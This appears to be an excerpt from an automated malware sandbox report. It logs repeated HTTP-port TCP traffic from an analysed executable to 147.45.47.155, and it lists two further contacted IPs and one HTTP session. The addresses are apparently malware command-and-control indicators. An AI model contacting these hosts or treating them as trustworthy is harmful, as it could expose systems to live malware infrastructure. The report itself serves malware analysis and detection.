Jun 27, 2024 07:40:47.554213047 CEST	49953	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:47.672544003 CEST	49953	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:47.672878027 CEST	49954	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:47.678163052 CEST	80	49954	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:47.678242922 CEST	49954	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:47.678359985 CEST	49954	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:47.678380966 CEST	80	49953	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:47.678442001 CEST	49953	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:47.683609962 CEST	80	49954	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:48.337536097 CEST	49954	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:48.340962887 CEST	49955	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:48.347943068 CEST	80	49955	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:48.348016977 CEST	49955	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:48.348294973 CEST	49955	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:48.355366945 CEST	80	49955	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:49.078790903 CEST	80	49955	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:49.078943014 CEST	49955	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:49.183871031 CEST	49955	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:49.186909914 CEST	49956	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:49.189249039 CEST	80	49955	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:49.191749096 CEST	49955	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:49.191881895 CEST	80	49956	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:49.194753885 CEST	49956	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:49.194905996 CEST	49956	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:49.199839115 CEST	80	49956	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:49.866122007 CEST	80	49956	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:49.866189957 CEST	49956	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:49.870143890 CEST	49956	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:49.870548010 CEST	49957	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:49.878001928 CEST	80	49957	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:49.878041029 CEST	80	49956	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:49.878081083 CEST	49957	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:49.878099918 CEST	49956	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:49.878226995 CEST	49957	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:49.885591984 CEST	80	49957	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:50.565232992 CEST	80	49957	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:50.567770958 CEST	49957	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:50.683674097 CEST	49957	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:50.683994055 CEST	49958	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:50.688900948 CEST	80	49958	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:50.688982964 CEST	80	49957	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:50.689019918 CEST	49958	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:50.689229012 CEST	49958	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:50.689476967 CEST	49957	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:50.694065094 CEST	80	49958	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:51.383950949 CEST	80	49958	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:51.387758017 CEST	49958	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:51.390577078 CEST	49958	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:51.390583992 CEST	49959	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:51.395590067 CEST	80	49959	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:51.395781994 CEST	49959	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:51.395854950 CEST	49959	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:51.395870924 CEST	80	49958	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:51.395984888 CEST	49958	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:51.400763988 CEST	80	49959	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:52.069498062 CEST	80	49959	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:52.069591999 CEST	49959	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:52.185219049 CEST	49959	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:52.185749054 CEST	49960	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:52.190639019 CEST	80	49960	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:52.190712929 CEST	80	49959	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:52.190726042 CEST	49960	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:52.190774918 CEST	49959	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:52.191386938 CEST	49960	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:52.196605921 CEST	80	49960	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:52.873547077 CEST	80	49960	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:52.875735044 CEST	49960	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:52.878725052 CEST	49960	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:52.878735065 CEST	49961	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:52.883717060 CEST	80	49961	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:52.883929968 CEST	49961	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:52.884033918 CEST	80	49960	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:52.884118080 CEST	49960	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:52.884299040 CEST	49961	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:52.889147043 CEST	80	49961	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:53.212893963 CEST	49961	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:53.325258970 CEST	49962	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:53.330239058 CEST	80	49962	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:53.330466986 CEST	49962	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:53.331671953 CEST	49962	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:53.338350058 CEST	80	49962	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:54.016745090 CEST	80	49962	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:54.016845942 CEST	49962	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:54.020378113 CEST	49962	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:54.020701885 CEST	49963	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:54.025543928 CEST	80	49963	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:54.025613070 CEST	49963	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:54.025734901 CEST	49963	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:54.025821924 CEST	80	49962	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:54.025882006 CEST	49962	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:54.030635118 CEST	80	49963	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:54.748226881 CEST	80	49963	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:54.755696058 CEST	49963	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:54.855679035 CEST	49963	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:54.855849981 CEST	49964	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:54.860740900 CEST	80	49964	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:54.861104012 CEST	80	49963	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:54.863781929 CEST	49964	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:54.863790989 CEST	49963	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:54.863996029 CEST	49964	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:54.869380951 CEST	80	49964	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:55.570627928 CEST	80	49964	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:55.570715904 CEST	49964	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:55.575754881 CEST	49964	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:55.576224089 CEST	49965	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:55.581029892 CEST	80	49964	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:55.581094027 CEST	49964	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:55.581190109 CEST	80	49965	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:55.581265926 CEST	49965	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:55.581506014 CEST	49965	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:55.586359978 CEST	80	49965	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:56.253421068 CEST	80	49965	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:56.253510952 CEST	49965	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:56.372355938 CEST	49965	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:56.372817039 CEST	49966	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:56.378844023 CEST	80	49965	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:56.378895998 CEST	80	49966	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:56.378922939 CEST	49965	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:56.378973961 CEST	49966	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:56.379339933 CEST	49966	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:56.384706020 CEST	80	49966	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:57.054961920 CEST	80	49966	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:57.055082083 CEST	49966	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:57.058104992 CEST	49966	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:57.058108091 CEST	49967	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:57.062944889 CEST	80	49967	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:57.063062906 CEST	49967	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:57.063209057 CEST	80	49966	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:57.063332081 CEST	49967	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:57.063436985 CEST	49966	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:57.068175077 CEST	80	49967	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:57.736458063 CEST	80	49967	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:57.736612082 CEST	49967	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:57.841377020 CEST	49967	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:57.841681957 CEST	49968	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:57.846565008 CEST	80	49968	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:57.846651077 CEST	49968	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:57.846884012 CEST	80	49967	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:57.846905947 CEST	49968	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:57.846942902 CEST	49967	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:57.851738930 CEST	80	49968	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:58.522389889 CEST	80	49968	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:58.522531986 CEST	49968	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:58.525382996 CEST	49968	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:58.525705099 CEST	49969	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:58.530664921 CEST	80	49969	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:58.530761003 CEST	49969	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:58.530821085 CEST	80	49968	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:58.530891895 CEST	49968	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:58.531023026 CEST	49969	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:58.535859108 CEST	80	49969	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:59.223818064 CEST	80	49969	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:59.223982096 CEST	49969	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:59.340210915 CEST	49970	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:59.340210915 CEST	49969	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:59.346474886 CEST	80	49970	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:59.346911907 CEST	80	49969	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:59.347743988 CEST	49970	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:59.347743988 CEST	49969	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:59.348012924 CEST	49970	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:59.352849960 CEST	80	49970	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:00.023994923 CEST	80	49970	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:00.024080038 CEST	49970	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:00.027679920 CEST	49970	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:00.028090000 CEST	49971	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:00.032937050 CEST	80	49971	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:00.033005953 CEST	49971	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:00.033008099 CEST	80	49970	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:00.033066988 CEST	49970	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:00.033155918 CEST	49971	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:00.037961006 CEST	80	49971	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:00.718071938 CEST	80	49971	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:00.719827890 CEST	49971	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:00.824378967 CEST	49971	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:00.827697039 CEST	49972	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:00.835124969 CEST	80	49971	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:00.835771084 CEST	49971	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:00.837117910 CEST	80	49972	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:00.839793921 CEST	49972	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:00.839970112 CEST	49972	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:00.846021891 CEST	80	49972	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:01.515440941 CEST	80	49972	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:01.515571117 CEST	49972	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:01.518587112 CEST	49973	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:01.518595934 CEST	49972	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:01.525819063 CEST	80	49973	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:01.525852919 CEST	80	49972	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:01.525922060 CEST	49973	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:01.525933027 CEST	49972	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:01.527673960 CEST	49973	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:01.536742926 CEST	80	49973	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:02.210654974 CEST	80	49973	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:02.210731983 CEST	49973	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:02.324433088 CEST	49973	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:02.324719906 CEST	49974	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:02.329593897 CEST	80	49974	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:02.329804897 CEST	49974	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:02.329936981 CEST	49974	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:02.330002069 CEST	80	49973	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:02.330079079 CEST	49973	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:02.334887981 CEST	80	49974	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:03.014786005 CEST	80	49974	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:03.019685030 CEST	49974	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:03.024957895 CEST	49974	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:03.025389910 CEST	49975	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:03.030196905 CEST	80	49974	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:03.030776024 CEST	80	49975	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:03.030894995 CEST	49975	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:03.030896902 CEST	49974	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:03.035686970 CEST	49975	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:03.041255951 CEST	80	49975	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:03.719449997 CEST	80	49975	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:03.719522953 CEST	49975	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:03.826704979 CEST	49975	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:03.827049017 CEST	49976	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:03.831877947 CEST	80	49976	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:03.831953049 CEST	49976	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:03.831964970 CEST	80	49975	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:03.832015991 CEST	49975	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:03.832205057 CEST	49976	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:03.837066889 CEST	80	49976	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:04.518863916 CEST	80	49976	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:04.518958092 CEST	49976	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:04.522562027 CEST	49976	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:04.522721052 CEST	49977	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:04.527646065 CEST	80	49977	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:04.527719975 CEST	49977	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:04.527849913 CEST	80	49976	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:04.527920008 CEST	49976	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:04.528009892 CEST	49977	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:04.532835960 CEST	80	49977	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:05.204597950 CEST	80	49977	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:05.204871893 CEST	49977	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:05.309170008 CEST	49977	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:05.311677933 CEST	49978	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:05.314623117 CEST	80	49977	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:05.315787077 CEST	49977	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:05.316562891 CEST	80	49978	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:05.316693068 CEST	49978	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:05.319708109 CEST	49978	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:05.324548960 CEST	80	49978	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:05.982892036 CEST	80	49978	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:05.982965946 CEST	49978	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:05.987000942 CEST	49978	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:05.987384081 CEST	49979	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:05.992182016 CEST	80	49978	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:05.992235899 CEST	49978	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:05.992240906 CEST	80	49979	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:05.992326021 CEST	49979	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:05.992600918 CEST	49979	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:05.997423887 CEST	80	49979	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:06.681812048 CEST	80	49979	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:06.683777094 CEST	49979	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:06.795751095 CEST	49979	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:06.795773983 CEST	49980	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:06.800765038 CEST	80	49980	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:06.801073074 CEST	80	49979	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:06.801090002 CEST	49980	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:06.801377058 CEST	49979	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:06.801568985 CEST	49980	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:06.806282043 CEST	80	49980	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:07.487025976 CEST	80	49980	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:07.487226963 CEST	49980	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:07.490904093 CEST	49980	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:07.490909100 CEST	49981	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:07.496961117 CEST	80	49981	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:07.497212887 CEST	49981	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:07.497271061 CEST	80	49980	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:07.497405052 CEST	49980	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:07.497490883 CEST	49981	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:07.508538008 CEST	80	49981	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:08.165827990 CEST	80	49981	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:08.165926933 CEST	49981	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:08.279289007 CEST	49981	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:08.279776096 CEST	49982	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:08.286901951 CEST	80	49981	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:08.286946058 CEST	80	49982	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:08.286983013 CEST	49981	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:08.287070036 CEST	49982	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:08.287318945 CEST	49982	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:08.295811892 CEST	80	49982	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:08.572215080 CEST	49982	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:08.578104019 CEST	49983	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:08.592421055 CEST	80	49983	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:08.592602968 CEST	49983	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:08.595700026 CEST	49983	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:08.604101896 CEST	80	49983	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:09.269304037 CEST	80	49983	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:09.269471884 CEST	49983	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:09.388881922 CEST	49983	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:09.388899088 CEST	49984	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:09.394310951 CEST	80	49984	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:09.395291090 CEST	80	49983	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:09.395418882 CEST	49983	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:09.395431042 CEST	49984	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:09.395836115 CEST	49984	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:09.400675058 CEST	80	49984	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:10.113267899 CEST	80	49984	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:10.113349915 CEST	49984	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:10.199356079 CEST	49984	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:10.200162888 CEST	49985	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:10.204925060 CEST	80	49984	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:10.205061913 CEST	49984	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:10.206162930 CEST	80	49985	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:10.206271887 CEST	49985	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:10.207493067 CEST	49985	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:10.212516069 CEST	80	49985	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:10.874385118 CEST	80	49985	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:10.875416994 CEST	49985	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:10.982269049 CEST	49985	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:10.982633114 CEST	49986	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:10.987421989 CEST	80	49986	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:10.987637043 CEST	80	49985	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:10.987730026 CEST	49985	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:10.987766027 CEST	49986	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:10.988202095 CEST	49986	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:10.993355989 CEST	80	49986	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:11.666382074 CEST	80	49986	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:11.666455030 CEST	49986	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:11.671093941 CEST	49986	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:11.671607018 CEST	49987	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:11.676423073 CEST	80	49986	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:11.676537991 CEST	49986	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:11.676557064 CEST	80	49987	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:11.676651955 CEST	49987	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:11.677030087 CEST	49987	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:41:11.682001114 CEST	80	49987	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:12.345077038 CEST	80	49987	147.45.47.155	192.168.2.5
Jun 27, 2024 07:41:12.345160007 CEST	49987	80	192.168.2.5	147.45.47.155

HTTP Request Dependency Graph

85.28.47.4

77.91.77.81

147.45.47.155

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	85.28.47.4	80	6532	C:\Users\user\Desktop\tAa6xNsucX.exe

Timestamp	Bytes transferred	Direction	Data
